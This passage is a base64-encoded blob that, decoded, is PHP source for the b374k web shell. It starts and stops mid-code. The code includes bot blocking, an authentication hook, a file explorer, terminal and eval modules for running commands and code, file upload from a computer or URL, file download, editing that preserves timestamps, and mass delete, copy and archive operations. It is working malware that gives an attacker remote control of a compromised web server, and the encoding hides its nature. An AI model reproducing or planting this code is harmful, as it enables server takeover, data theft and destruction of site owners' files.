ZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCgkJCSRyZXMgLj0gIkZpbmlzaGVkLi4uIjsKCQkJcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OwoJCX0KCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ291dHB1dCcpKXsKCWZ1bmN0aW9uIG91dHB1dCgkc3RyKXsKCQkkZXJyb3IgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJQG9iX2VuZF9jbGVhbigpOwoJCWhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CgkJaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSIpOwoJCWhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoJCWVjaG8gJHN0cjsKCQlkaWUoKTsKCX0KfQpibG9ja19ib3QoKTsKYXV0aCgpOwpjaGRpcihnZXRfY3dkKCkpOwokbmF2ID0gZ2V0X25hdihnZXRfY3dkKCkpOwokcCA9IGFycmF5X21hcCgicmF3dXJsZGVjb2RlIiwgZ2V0X3Bvc3QoKSk7CiRjd2QgPSBodG1sX3NhZmUoZ2V0X2N3ZCgpKTsKJEdMT0JBTFNbJ21vZHVsZSddID0gYXJyYXkoKTsKCiRleHBsb3Jlcl9jb250ZW50ID0gIiI7CmlmKGlzc2V0KCRwWyd2aWV3RW50cnknXSkpewoJJHBhdGggPSB0cmltKCRwWyd2aWV3RW50cnknXSk7CglpZihpc19maWxlKCRwYXRoKSl7CgkJJGRpcm5hbWUgPSByZWFscGF0aChkaXJuYW1lKCRwYXRoKSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlzZXRjb29raWUoImN3ZCIsICRkaXJuYW1lKTsKCQljaGRpcigkZGlybmFtZSk7CgkJJG5hdiA9IGdldF9uYXYoJGRpcm5hbWUpOwoJCSRjd2QgPSBodG1sX3NhZmUoJGRpcm5hbWUpOwoJCSRleHBsb3Jlcl9jb250ZW50ID0gdmlld19maWxlKCRwYXRoLCAiYXV0byIpOwoJfQoJZWxzZWlmKGlzX2RpcigkcGF0aCkpewoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7CgkJY2hkaXIoJHBhdGgpOwoJCSRuYXYgPSBnZXRfbmF2KCRwYXRoKTsKCQkkY3dkID0gaHRtbF9zYWZlKCRwYXRoKTsKCQkkZXhwbG9yZXJfY29udGVudCA9IHNob3dfYWxsX2ZpbGVzKCRwYXRoKTsKCX0KfQplbHNlICRleHBsb3Jlcl9jb250ZW50ID0gc2hvd19hbGxfZmlsZXMoZ2V0X2N3ZCgpKTsKCiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnaWQnXSA9ICJleHBsb3JlciI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsndGl0bGUnXSA9ICJFeHBsb3JlciI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnanNfb250YWJzZWxlY3RlZCddID0gIiI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnY29udGVudCddID0gJGV4cGxvcmVyX2NvbnRlbnQ7CgokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2lkJ10gPSAidGVybWluYWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ3RpdGxlJ10gPSAiVGVybWluYWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIKaWYoKCFwb3J0YWJsZU1vZGUpICYmICgkKCcjdGVybWluYWxPdXRwdXQnKS5odG1sKCk9PScnKSkgJCgnI3Rlcm1pbmFsSW5wdXQnKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsndGVybWluYWwnXVsnY29udGVudCddID0gIjxwcmUgaWQ9J3Rlcm1pbmFsT3V0cHV0Jz48L3ByZT48dGFibGUgaWQ9J3Rlcm1pbmFsUHJvbXB0Jz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGlkPSd0ZXJtaW5hbEN3ZCcgY2xhc3M9J3N0cm9uZyc+Ii5nZXRfY3dkKCkuIiZndDs8L3NwYW48L3RkPjx0ZCBpZD0ndGVybWluYWxDb21tYW5kJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3Rlcm1pbmFsSW5wdXQnIGNsYXNzPSdmbG9hdExlZnQnIHNwZWxsY2hlY2s9J2ZhbHNlJz48L3RkPjwvdHI+PC90YWJsZT4iOwoKCiRHTE9CQUxTWydtb2R1bGUnXVsnZXZhbCddWydpZCddID0gImV2YWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsndGl0bGUnXSA9ICJFdmFsIjsKJEdMT0JBTFNbJ21vZHVsZSddWydldmFsJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIKaWYoKCFwb3J0YWJsZU1vZGUpICYmICgkKCcjZXZhbE91dHB1dCcpLmh0bWwoKT09J1lvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdCcpKSAkKCcjZXZhbElucHV0JykuZm9jdXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nNCc+PHAgY2xhc3M9J2JveHRpdGxlJz5FdmFsPC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PgoJPHRyPjx0ZCBjb2xzcGFuPSc0Jz48dGV4dGFyZWEgaWQ9J2V2YWxJbnB1dCcgc3BlbGxjaGVjaz0nZmFsc2UnIHN0eWxlPSdoZWlnaHQ6MTQwcHg7bWluLWhlaWdodDoxNDBweDsnPjwvdGV4dGFyZWE+PC90ZD48L3RyPgoJCgk8dHIgaWQ9J2V2YWxBZGRpdGlvbmFsJz48dGQgY29sc3Bhbj0nNCc+CgkJPGlucHV0IHR5cGU9J3RleHQnIGlkPSdldmFsT3B0aW9ucycgdmFsdWU9J09wdGlvbnMvU3dpdGNoZXMnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZXZhbF9nbycpO1wiPgoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZXZhbEFyZ3VtZW50cycgdmFsdWU9J0FyZ3VtZW50cycgc3BlbGxjaGVjaz0nZmFsc2UnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdldmFsX2dvJyk7XCI+Cgk8L3RkPjwvdHI+CgkKCTx0cj4KCQk8dGQgc3R5bGU9J3dpZHRoOjE0NHB4Oyc+CgkJCTxzZWxlY3QgaWQ9J2V2YWxUeXBlJz4KCQkJCQoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZCBjb2xzcGFuPSczJz4KCQkJPHNwYW4gaWQ9J2V2YWxTdWJtaXQnIHN0eWxlPSd3aWR0aDoxMjBweDsnIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJldmFsX2dvKCk7XCI+cnVuPC9zcGFuPgkKCQk8L3RkPgoJPC90cj4KCQoJPHRyPjx0ZCBjb2xzcGFuPSc0Jz48cHJlIGlkPSdldmFsT3V0cHV0Jz5Zb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQ8L3ByZT48L3RkPC90cj4KPC90Ym9keT4KPC90YWJsZT4KIjsKCiRyZXMgPSAiIjsKaWYoaXNzZXQoJHBbJ2NkJ10pKXsKCSRwYXRoID0gJHBbJ2NkJ107CglpZih0cmltKCRwYXRoKT09JycpICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7CgoJJHBhdGggPSByZWFscGF0aCgkcGF0aCk7CglpZihpc19maWxlKCRwYXRoKSkgJHBhdGggPSBkaXJuYW1lKCRwYXRoKTsKCWlmKGlzX2RpcigkcGF0aCkpewoJCWNoZGlyKCRwYXRoKTsKCQkkcGF0aCA9ICRwYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7CgkJJHJlcyA9ICRwYXRoLiJ7W3xiMzc0a3xdfSIuZ2V0X25hdigkcGF0aCkuIntbfGIzNzRrfF19IjsKCQlpZihpc3NldCgkcFsnc2hvd2ZpbGVzJ10pJiYoJHBbJ3Nob3dmaWxlcyddPT0ndHJ1ZScpKXsKCQkJJHJlcyAuPSBzaG93X2FsbF9maWxlcygkcGF0aCk7CgkJfQoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3ZpZXdGaWxlJ10pICYmIGlzc2V0KCRwWyd2aWV3VHlwZSddKSl7CgkkcGF0aCA9IHRyaW0oJHBbJ3ZpZXdGaWxlJ10pOwoJJHR5cGUgPSB0cmltKCRwWyd2aWV3VHlwZSddKTsKCSRwcmVzZXJ2ZVRpbWVzdGFtcCA9IHRyaW0oJHBbJ3ByZXNlcnZlVGltZXN0YW1wJ10pOwoJaWYoaXNfZmlsZSgkcGF0aCkpewoJCSRyZXMgPSB2aWV3X2ZpbGUoJHBhdGgsICR0eXBlLCAkcHJlc2VydmVUaW1lc3RhbXApOwoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3JlbmFtZUZpbGUnXSkgJiYgaXNzZXQoJHBbJ3JlbmFtZUZpbGVUbyddKSl7CgkkcmVuYW1lRmlsZSA9IHRyaW0oJHBbJ3JlbmFtZUZpbGUnXSk7CgkkcmVuYW1lRmlsZVRvID0gdHJpbSgkcFsncmVuYW1lRmlsZVRvJ10pOwoJaWYoZmlsZV9leGlzdHMoJHJlbmFtZUZpbGUpKXsKCQlpZihyZW5hbWUoJHJlbmFtZUZpbGUsICRyZW5hbWVGaWxlVG8pKXsKCQkJJHJlcyA9IGRpcm5hbWUoJHJlbmFtZUZpbGVUbyk7CgkJfQoJCWVsc2UgJHJlcyA9ICJlcnJvciI7Cgl9CgllbHNlICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnbmV3Rm9sZGVyJ10pKXsKCSRuZXdGb2xkZXIgPSB0cmltKCRwWyduZXdGb2xkZXInXSk7CglpZihta2RpcigkbmV3Rm9sZGVyKSl7CgkJJHJlcyA9IGRpcm5hbWUoJG5ld0ZvbGRlcik7Cgl9CgllbHNlICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnbmV3RmlsZSddKSl7CgkkbmV3RmlsZSA9IHRyaW0oJHBbJ25ld0ZpbGUnXSk7CglpZih0b3VjaCgkbmV3RmlsZSkpewoJCSRyZXMgPSBkaXJuYW1lKCRuZXdGaWxlKTsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkZWxldGUnXSkpewoJJHBhdGggPSB0cmltKCRwWydkZWxldGUnXSk7CgkkZGlybmFtZSA9IGRpcm5hbWUoJHBhdGgpOwoJaWYoaXNfZmlsZSgkcGF0aCkpewoJCWlmKHVubGluaygkcGF0aCkpICRyZXMgPSAkZGlybmFtZTsKCX0KCWVsc2VpZihpc19kaXIoJHBhdGgpKXsKCQlpZihybWRpcnMoJHBhdGgpPjApICRyZXMgPSAkZGlybmFtZTsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglpZihmaWxlX2V4aXN0cygkcGF0aCkpICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZWRpdFR5cGUnXSkmJmlzc2V0KCRwWydlZGl0RmlsZW5hbWUnXSkmJmlzc2V0KCRwWydlZGl0SW5wdXQnXSkmJmlzc2V0KCRwWydwcmVzZXJ2ZVRpbWVzdGFtcCddKSl7CgkkZWRpdEZpbGVuYW1lID0gdHJpbSgkcFsnZWRpdEZpbGVuYW1lJ10pOwoJJGVkaXRJbnB1dCA9IHRyaW0oJHBbJ2VkaXRJbnB1dCddKTsKCSRlZGl0VHlwZSA9IHRyaW0oJHBbJ2VkaXRUeXBlJ10pOwoJJHByZXNlcnZlVGltZXN0YW1wID0gdHJpbSgkcFsncHJlc2VydmVUaW1lc3RhbXAnXSk7CgkkdGltZSA9IGZpbGVtdGltZSgkZWRpdEZpbGVuYW1lKTsKCWlmKCRlZGl0VHlwZT09J2hleCcpICRlZGl0SW5wdXQgPSBwYWNrKCJIKiIgLCBwcmVnX3JlcGxhY2UoIi9ccy8iLCIiLCAkZWRpdElucHV0KSk7CglpZih3cml0ZV9maWxlKCRlZGl0RmlsZW5hbWUsICRlZGl0SW5wdXQpKXsKCQkkcmVzID0gJGVkaXRGaWxlbmFtZTsKCQlpZigkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJykgdG91Y2goJGVkaXRGaWxlbmFtZSwgJHRpbWUpOwoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2ZpbmRUeXBlJ10pKXsKCSRmaW5kVHlwZSA9IHRyaW0oJHBbJ2ZpbmRUeXBlJ10pOwoJJGZpbmRQYXRoID0gdHJpbSgkcFsnZmluZFBhdGgnXSk7CgkkZmluZE5hbWUgPSB0cmltKCRwWydmaW5kTmFtZSddKTsKCSRmaW5kTmFtZVJlZ2V4ID0gdHJpbSgkcFsnZmluZE5hbWVSZWdleCddKTsKCSRmaW5kTmFtZUluc2Vuc2l0aXZlID0gdHJpbSgkcFsnZmluZE5hbWVJbnNlbnNpdGl2ZSddKTsKCSRmaW5kQ29udGVudCA9IHRyaW0oJHBbJ2ZpbmRDb250ZW50J10pOwoJJGZpbmRDb250ZW50UmVnZXggPSB0cmltKCRwWydmaW5kQ29udGVudFJlZ2V4J10pOwoJJGZpbmRDb250ZW50SW5zZW5zaXRpdmUgPSB0cmltKCRwWydmaW5kQ29udGVudEluc2Vuc2l0aXZlJ10pOwoJJGZpbmRSZWFkYWJsZSA9IHRyaW0oJHBbJ2ZpbmRSZWFkYWJsZSddKTsKCSRmaW5kV3JpdGFibGUgPSB0cmltKCRwWydmaW5kV3JpdGFibGUnXSk7CgkkZmluZEV4ZWN1dGFibGUgPSB0cmltKCRwWydmaW5kRXhlY3V0YWJsZSddKTsKCgkkY2FuZGlkYXRlID0gZ2V0X2FsbF9maWxlcygkZmluZFBhdGgpOwoJaWYoJGZpbmRUeXBlPT0nZmlsZScpICRjYW5kaWRhdGUgPSBhcnJheV9maWx0ZXIoJGNhbmRpZGF0ZSwgImlzX2ZpbGUiKTsKCWVsc2VpZigkZmluZFR5cGU9PSdmb2xkZXInKSAkY2FuZGlkYXRlID0gYXJyYXlfZmlsdGVyKCRjYW5kaWRhdGUsICJpc19kaXIiKTsKCWVsc2UgJHJlcyA9ICJlcnJvciI7CgoJZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsKCQlpZigoJGZpbmRUeXBlPT0iZmlsZSIpfHwoJGZpbmRUeXBlPT0iZm9sZGVyIikpewoJCQlpZighZW1wdHkoJGZpbmROYW1lKSl7CgkJCQlpZigkZmluZE5hbWVSZWdleD09InRydWUiKXsKCQkJCQkkY2FzZSA9ICgkZmluZE5hbWVJbnNlbnNpdGl2ZT09InRydWUiKT8gImkiOiIiOwoJCQkJCWlmKCFwcmVnX21hdGNoKCIvIi4kZmluZE5hbWUuIi8iLiRjYXNlLCBiYXNlbmFtZSgkaykpKXsKCQkJCQkJJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlewoJCQkJCSRjaGVjayA9IGZhbHNlOwoJCQkJCWlmKCRmaW5kTmFtZUluc2Vuc2l0aXZlPT0idHJ1ZSIpewoJCQkJCQkkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcihiYXNlbmFtZSgkaykpLCBzdHJ0b2xvd2VyKCRmaW5kTmFtZSkpPT09ZmFsc2U7CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSRjaGVjayA9IHN0cnBvcyhiYXNlbmFtZSgkayksICRmaW5kTmFtZSk9PT1mYWxzZTsKCQkJCQl9CgoJCQkJCWlmKCRjaGVjayl7CgkJCQkJCSRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCWlmKCRmaW5kVHlwZT09ImZpbGUiKXsKCQkJaWYoIWVtcHR5KCRmaW5kQ29udGVudCkpewoJCQkJJGNvbnRlbnQgPSByZWFkX2ZpbGUoJGspOwoJCQkJaWYoJGZpbmRDb250ZW50UmVnZXg9PSJ0cnVlIil7CgkJCQkJJGNhc2UgPSAoJGZpbmRDb250ZW50SW5zZW5zaXRpdmU9PSJ0cnVlIik/ICJpIjoiIjsKCQkJCQlpZighcHJlZ19tYXRjaCgiLyIuJGZpbmRDb250ZW50LiIvIi4kY2FzZSwgJGNvbnRlbnQpKXsKCQkJCQkJJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlewoJCQkJCSRjaGVjayA9IGZhbHNlOwoJCQkJCWlmKCRmaW5kQ29udGVudEluc2Vuc2l0aXZlPT0idHJ1ZSIpewoJCQkJCQkkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcigkY29udGVudCksIHN0cnRvbG93ZXIoJGZpbmRDb250ZW50KSk9PT1mYWxzZTsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJGNoZWNrID0gc3RycG9zKCRjb250ZW50LCAkZmluZENvbnRlbnQpPT09ZmFsc2U7CgkJCQkJfQoJCQkJCWlmKCRjaGVjayl7CgkJCQkJCSRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfQoKCWZvcmVhY2goJGNhbmRpZGF0ZSBhcyAkayl7CgkJaWYoJGZpbmRSZWFkYWJsZT09InRydWUiKXsKCQkJaWYoIWlzX3JlYWRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQl9CgkJaWYoJGZpbmRXcml0YWJsZT09InRydWUiKXsKCQkJaWYoIWlzX3dyaXRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQl9CgkJaWYoJGZpbmRFeGVjdXRhYmxlPT0idHJ1ZSIpewoJCQlpZighaXNfZXhlY3V0YWJsZSgkaykpICRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJfQoJfQoKCWlmKGNvdW50KCRjYW5kaWRhdGUpPjApewoJCSRyZXMgPSAiIjsKCQlmb3JlYWNoKCRjYW5kaWRhdGUgYXMgJGspewoJCQkkcmVzIC49ICI8cD48c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJGspLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLmh0bWxfc2FmZSgkaykuIjwvYT48L3A+IjsKCQl9Cgl9CgllbHNlICRyZXMgPSAiIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3VsVHlwZSddKSl7CgkkdWxTYXZlVG8gPSB0cmltKCRwWyd1bFNhdmVUbyddKTsKCSR1bEZpbGVuYW1lID0gdHJpbSgkcFsndWxGaWxlbmFtZSddKTsKCglpZigkcFsndWxUeXBlJ109PSdjb21wJyl7CgkJJHVsRmlsZSA9ICRfRklMRVNbJ3VsRmlsZSddOwoJCWlmKGVtcHR5KCR1bEZpbGVuYW1lKSkgJHVsRmlsZW5hbWUgPSAkdWxGaWxlWyduYW1lJ107CgoJCWlmKGlzX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSkpewoJCQlpZighaXNfZGlyKCR1bFNhdmVUbykpIG1rZGlyKCR1bFNhdmVUbyk7CgkJCSRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOwoJCQlpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSwgJG5ld2ZpbGUpKXsKCQkJCSRyZXMgPSAiPHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRuZXdmaWxlKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii5odG1sX3NhZmUoJG5ld2ZpbGUpLiI8L2E+Jm5ic3A7KCAxMDAlICkiOwoJCQl9CgkJCWVsc2UgJHJlcyA9ICJlcnJvciI7CgkJfQoJCWVsc2UgJHJlcyA9ICJlcnJvciI7Cgl9CgllbHNlaWYoJHBbJ3VsVHlwZSddPT0ndXJsJyl7CgkJJHVsRmlsZSA9IHRyaW0oJHBbJ3VsRmlsZSddKTsKCQlpZihlbXB0eSgkdWxGaWxlbmFtZSkpICR1bEZpbGVuYW1lID0gYmFzZW5hbWUoJHVsRmlsZSk7CgkJaWYoIWlzX2RpcigkdWxTYXZlVG8pKSBta2RpcigkdWxTYXZlVG8pOwoJCSRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOwoKCQlpZihkb3dubG9hZCgkdWxGaWxlLCAkbmV3ZmlsZSkpewoJCQkkcmVzID0gIjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIicgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnPiIuaHRtbF9zYWZlKCRuZXdmaWxlKS4iPC9hPiZuYnNwOyggMTAwJSApIjsKCQl9CgkJZWxzZSAkcmVzID0gImVycm9yIjsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkb3dubG9hZCddKSl7CgkkZmlsZSA9IHRyaW0oJHBbJ2Rvd25sb2FkJ10pOwoJaWYoaXNfZmlsZSgkZmlsZSkpewoJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKCQloZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwoJCWhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsKCQloZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlIik7CgkJaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJGZpbGUpLiJcIjsiKTsKCQkkaGFuZGxlciA9IGZvcGVuKCRmaWxlLCJyYiIpOwoJCXdoaWxlKCFmZW9mKCRoYW5kbGVyKSl7CgkJCXByaW50KGZyZWFkKCRoYW5kbGVyLCAxMDI0KjgpKTsKCQkJQG9iX2ZsdXNoKCk7CgkJCUBmbHVzaCgpOwoJCX0KCQlmY2xvc2UoJGhhbmRsZXIpOwoJCWRpZSgpOwoJfQp9CmVsc2VpZihpc3NldCgkcFsnbXVsdGltZWRpYSddKSl7CgkkZmlsZSA9IHRyaW0oJHBbJ211bHRpbWVkaWEnXSk7CgkkbWltZV9saXN0ID0gZ2V0X3Jlc291cmNlKCdtaW1lJyk7CgkkbWltZSA9ICIiOwoJJGZpbGVfZXh0X3BvcyA9IHN0cnJwb3MoJGZpbGUsICIuIik7CglpZigkZmlsZV9leHRfcG9zIT09ZmFsc2UpewoJCSRmaWxlX2V4dCA9IHRyaW0oc3Vic3RyKCRmaWxlLCAkZmlsZV9leHRfcG9zKSwiLiIpOwoJCWlmKHByZWdfbWF0Y2goIi8oW15cc10rKVwgLipcYiIuJGZpbGVfZXh0LiJcYi4qL2kiLCAkbWltZV9saXN0LCAkcmVzKSl7CgkJCSRtaW1lID0gJHJlc1sxXTsKCQl9Cgl9CgoJaWYoaXNfZmlsZSgkZmlsZSkpewoJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiLiRtaW1lKTsKCQloZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwoJCWhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsKCQllY2hvICJkYXRhOiIuJG1pbWUuIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpOwoJCWRpZSgpOwoJfQp9CmVsc2VpZihpc3NldCgkcFsnbWFzc1R5cGUnXSkmJmlzc2V0KCRwWydtYXNzQnVmZmVyJ10pJiZpc3NldCgkcFsnbWFzc1BhdGgnXSkmJmlzc2V0KCRwWydtYXNzVmFsdWUnXSkpewoJJG1hc3NUeXBlID0gdHJpbSgkcFsnbWFzc1R5cGUnXSk7CgkkbWFzc0J1ZmZlciA9IHRyaW0oJHBbJ21hc3NCdWZmZXInXSk7CgkkbWFzc1BhdGggPSByZWFscGF0aCgkcFsnbWFzc1BhdGgnXSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCSRtYXNzVmFsdWUgPSB0cmltKCRwWydtYXNzVmFsdWUnXSk7CgkkY291bnRlciA9IDA7CgoJJG1hc3NCdWZmZXJBcnIgPSBleHBsb2RlKCJcbiIsICRtYXNzQnVmZmVyKTsKCWlmKCgkbWFzc1R5cGU9PSd0YXInKXx8KCRtYXNzVHlwZT09J3Rhcmd6Jyl8fCgkbWFzc1R5cGU9PSd6aXAnKSl7CgkJaWYoY29tcHJlc3MoJG1hc3NUeXBlLCAkbWFzc1ZhbHVlLCAkbWFzc0J1ZmZlckFycikpewoJCQkkY291bnRlcisrOwoJCQlyZXR1cm4gJGNvdW50ZXI7CgkJfQoJfQoJZWxzZXsKCQlmb3JlYWNoKCRtYXNzQnVmZmVyQXJyIGFzICRrKXsKCQkJJHBhdGggPSB0cmltKCRrKTsKCQkJaWYoZmlsZV9leGlzdHMoJHBhdGgpKXsKCQkJCSRwcmVzZXJ2ZVRpbWVzdGFtcCA9IGZpbGVtdGltZSgkcGF0aCk7CgkJCQlpZigkbWFzc1R5cGU9PSdkZWxldGUnKXsKCQkJCQlpZihpc19maWxlKCRwYXRoKSl7CgkJCQkJCWlmKHVubGluaygkcGF0aCkpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJCWVsc2VpZihpc19kaXIoJHBhdGgpKXsKCQkJCQkJaWYocm1kaXJzKCRwYXRoKT4wKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2VpZigkbWFzc1R5cGU9PSdjdXQnKXsKCQkJCQkkZGVzdCA9ICRtYXNzUGF0aC5iYXNlbmFtZSgkcGF0aCk7CgkJCQkJaWYocmVuYW1lKCRwYXRoLCAkZGVzdCkpewoJCQkJCQkkY291bnRlcisrOwoJCQkJCQl0b3VjaCgkZGVzdCwgJHByZXNlcnZlVGltZXN0YW1wKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlaWYoJG1hc3NUeXBlPT0nY29weScpewoJCQkJCSRkZXN0ID0gJG1hc3NQYXRoLmJhc2VuYW1lKCRwYXRoKTsKCQkJCQlpZihpc19kaXIoJHBhdGgpKXsKCQkJCQkJaWYoY29weXMoJHBhdGgsICRkZXN0KT4wKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCQllbHNlaWYoaXNfZmlsZSgkcGF0aCkpewoJCQkJCQlpZihjb3B5KCRwYXRoLCAkZGVzdCkpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZWlmKCgkbWFzc1R5cGU9PSd1bnRhcicpfHwoJG1hc3NUeXBlPT0ndW50YXJneicpfHwoJG1hc3NUeXBlPT0ndW56aXAnKSl7CgkJCQkJaWYoZGVjb21wcmVzcygkbWFzc1R5cGUsICRwYXRoLCAkbWFzc1ZhbHVlKSl7CgkJCQkJCSRjb3VudGVyKys7CgkJCQkJCXJldHVybiAkY291bnRlcjsKCQkJCQl9CgkJCQl9CgkJCQllb